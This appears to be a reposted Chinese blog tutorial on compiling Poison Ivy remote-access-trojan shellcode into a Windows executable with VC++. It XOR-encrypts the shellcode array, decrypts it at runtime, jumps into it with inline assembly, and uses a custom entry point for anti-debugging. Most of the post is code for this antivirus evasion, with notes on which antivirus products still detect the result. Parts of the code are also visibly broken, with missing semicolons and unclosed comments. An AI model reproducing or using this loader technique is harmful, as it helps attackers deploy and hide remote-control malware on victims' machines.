编译PI远控SHELLCODE(VC++)加异或免杀(转载于网络)

本文详细介绍了如何通过异或加密和自定义入口点来实现木马程序的免杀策略,以提高木马程序在特定环境下的存活率。通过加密原数组并输出,然后在编译时进行解密并实现木马功能,同时自定义入口点增加反调试难度。此技术在一定程度上能够帮助木马程序绕过部分杀毒软件的检测。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

来自暗组,但原贴有诸多语法错误,以下是修正后的编译法。
一,直接编译:
#include <windows.h>
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker, "/MERGE:.rdata=.text") //合并区段,减小体积,可以不要
void main()
{
unsigned char PIShellCode[n] =
{
    //这里填上生成的数组
};

_asm
{
lea eax,_black
   call eax
}
}

这么编译出来,国内全过了(表面),NOD32都不杀了~~只有360杀毒还没过。加个反调试,也过了。

如果自定义入口点的话,NOD32就杀了,很奇怪。。。

=========================================================================================================

二,异或免杀:

1,加密原数组,并输出。
#include <stdio.h>
void main()
{
unsigned char red[n];
     {
         /*这里用来放生成的数组,直接拷贝进来就行了;*/
     };
unsigned char black[n] ;     /* 这里声明两个数组,第一个数组是posion ivy 生成的(可以直接拷贝生成的数组)
                          第二个数组用来接收加密过的数组,一般情况下生成的数组的长度由 posion ivy服务端配置
                          情况来决定,第二个数组可以声明与第一个数组同样大;
                         */

for(int i=0;i<=n-1;i++)
    {  
    black[i]=red[i] ^ 0x5f     /* 这里直接对数组red进行xor加密

}

for (int j=0;j<=n-1;j++)

{

printf("0x")
printf("%x",black[j]); /* 这里输出已经加密过的数组

printf(",")
    }
}

编译,然后输出到 a.txt。

2,解密,编译成木马。

#include <windows.h>
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker, "/ENTRY:Fuck_AntiVirus") //自定义了入口点,方便加反调试
#pragma comment(linker, "/MERGE:.rdata=.text")
void Pi_Exe()
{
unsigned char FuckU[n] =
{

//上面 a.txt 中的数组元素,复制过来。

};

unsigned char black[n];

for(int i=0;i<=n-1;i++)
    {  
    black[i]=FuckU[i] ^ 0x5f;
    }


_asm
{
lea eax,black
   call eax
}
}

void Fuck_AntiVirus()
{
_asm
{

//加点反调试代码
}
Pi_Exe();
}

编译成功,杀毒网绝大部分通过。国内全过,仅是表面。。。

初学VC,错误在所难免。。。

我发现,异或不异或,免杀效果没有什么改变。。。主要还是反调试要强。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值